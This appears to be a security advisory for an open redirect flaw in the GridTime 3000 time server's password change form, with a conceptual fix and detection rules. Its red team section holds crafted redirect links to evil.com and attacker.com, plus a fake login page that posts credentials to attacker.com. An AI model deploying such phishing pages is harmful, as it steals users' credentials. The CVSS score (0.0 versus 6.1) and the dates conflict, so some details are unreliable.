CVE-2026-12622

Executive Summary

CVE-2026-12622 is an open redirect vulnerability discovered in the GridTime 3000 GNSS Time Server, affecting versions from 1.0r0.03 through 1.1r0.0. The flaw resides in the password change form submission mechanism, allowing an attacker to craft a malicious link that redirects an authenticated user to an external, attacker-controlled domain. This can be leveraged for phishing attacks, credential harvesting, or bypassing URL-based access controls. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction and the potential for social engineering attacks. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary hardware appliance (GridTime 3000 GNSS Time Server). Supply chain risk is limited to the vendor's firmware distribution channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the redirect.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The redirect can lead to a different security domain.
• Confidentiality (C): Low (L) – Limited information disclosure possible via phishing.
• Integrity (I): Low (L) – The redirect can be used to manipulate the user's session.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The vulnerability requires user interaction but can be chained with other attacks (e.g., credential harvesting) to achieve higher impact.

Deep Dive & Mechanics

The GridTime 3000 GNSS Time Server provides a web-based management interface for configuration and monitoring. The password change form is accessible at /password_change (or similar endpoint). When a user submits the form, the server processes the request and then redirects the user to a URL specified in a redirect parameter (or similar). The application fails to validate that the redirect target is within the same origin, allowing an attacker to supply an arbitrary external URL.

Attack Flow:

1. An attacker crafts a malicious link: https://gridtime3000.example.com/password_change?redirect=https://evil.com/steal_creds
2. The attacker sends this link to a victim (e.g., via email or social media).
3. The victim, who is authenticated to the GridTime 3000, clicks the link.
4. The server processes the password change form (if submitted) or simply redirects the victim to https://evil.com/steal_creds.
5. The attacker-controlled site can then present a fake login page to harvest credentials or perform other malicious actions.

Root Cause: The application does not implement a whitelist of allowed redirect domains or validate the redirect URL against the server's origin.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP/Python):

# Vulnerable: No validation of redirect parameter
def handle_password_change(request):
    # ... process password change ...
    redirect_url = request.GET.get('redirect', '/dashboard')
    return redirect(redirect_url)

Patched Code (Conceptual):

# Patched: Validate redirect against allowed domains
import re
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['gridtime3000.example.com', 'localhost']

def handle_password_change(request):
    # ... process password change ...
    redirect_url = request.GET.get('redirect', '/dashboard')
    parsed = urlparse(redirect_url)
    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        redirect_url = '/dashboard'  # Fallback to safe URL
    return redirect(redirect_url)

Note: No official patch has been released by the vendor. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable GridTime 3000 device (version 1.0r0.03 to 1.1r0.0).
• A web server to capture redirected traffic (e.g., using Python's http.server or a dedicated phishing server).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /password_change).
2. Craft a malicious URL:

   https://<target_ip>/password_change?redirect=http://attacker.com/steal
   

3. Send the link to a victim (e.g., via email).
4. When the victim clicks, they are redirected to http://attacker.com/steal.
5. On the attacker server, host a fake login page to capture credentials.

Example Phishing Page (HTML):

<!DOCTYPE html>
<html>
<head><title>GridTime 3000 Login</title></head>
<body>
    <form action="https://attacker.com/capture" method="POST">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <input type="submit" value="Login">
    </form>
</body>
</html>

Blue Team

Detection Steps:

1. Monitor web server logs for unusual redirect parameters in requests to /password_change.
2. Look for outbound connections to unknown or suspicious domains immediately following a password change request.
3. Implement a web application firewall (WAF) rule to block requests with redirect parameters pointing to external domains.

WAF Rule (ModSecurity):

SecRule ARGS:redirect "!^https?://(gridtime3000\.example\.com|localhost)" \
    "id:1001,phase:2,deny,status:403,msg:'Open redirect attempt blocked'"

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to suspicious domains immediately after a password change request.
  • Requests to /password_change with a redirect parameter containing an external URL.
• Host IOCs:
  • Unusual entries in the web server access logs showing redirects to external domains.
  • Presence of phishing pages on the attacker's server.
• File IOCs:
  • None specific to this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2026_12622_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in GridTime 3000 password change requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-12622"
    strings:
        $redirect_param = "redirect="
        $password_change = "/password_change"
        $external_domain = /https?:\/\/[^\/]+\.[^\/]+/
    condition:
        $password_change and $redirect_param and $external_domain
}

Sigma Rule

title: GridTime 3000 Open Redirect Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-12622 open redirect vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/password_change?redirect="
        cs-uri-query|re: "redirect=https?://[^/]+\\.[^/]+"
    condition: selection
falsepositives:
    - Legitimate redirects to internal resources (e.g., /dashboard)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2026-12622 - GridTime 3000 Open Redirect Attempt";
    flow:to_server;
    content:"/password_change"; http_uri;
    content:"redirect="; http_uri;
    pcre:"/redirect=https?:\/\/[^\/]+\.[^\/]+/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the password change form if not required, or restrict access to trusted IPs only.
2. Implement a reverse proxy (e.g., Nginx, Apache) in front of the device to validate and sanitize redirect parameters.
3. Monitor logs for suspicious redirect attempts.

Long-Term Fix:

• The vendor must release a firmware update that validates the redirect parameter against a whitelist of allowed domains.
• As a workaround, modify the application code (if accessible) to only allow relative redirects (e.g., /dashboard).

Vendor Contact: GridTime 3000 support (if available) should be notified.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert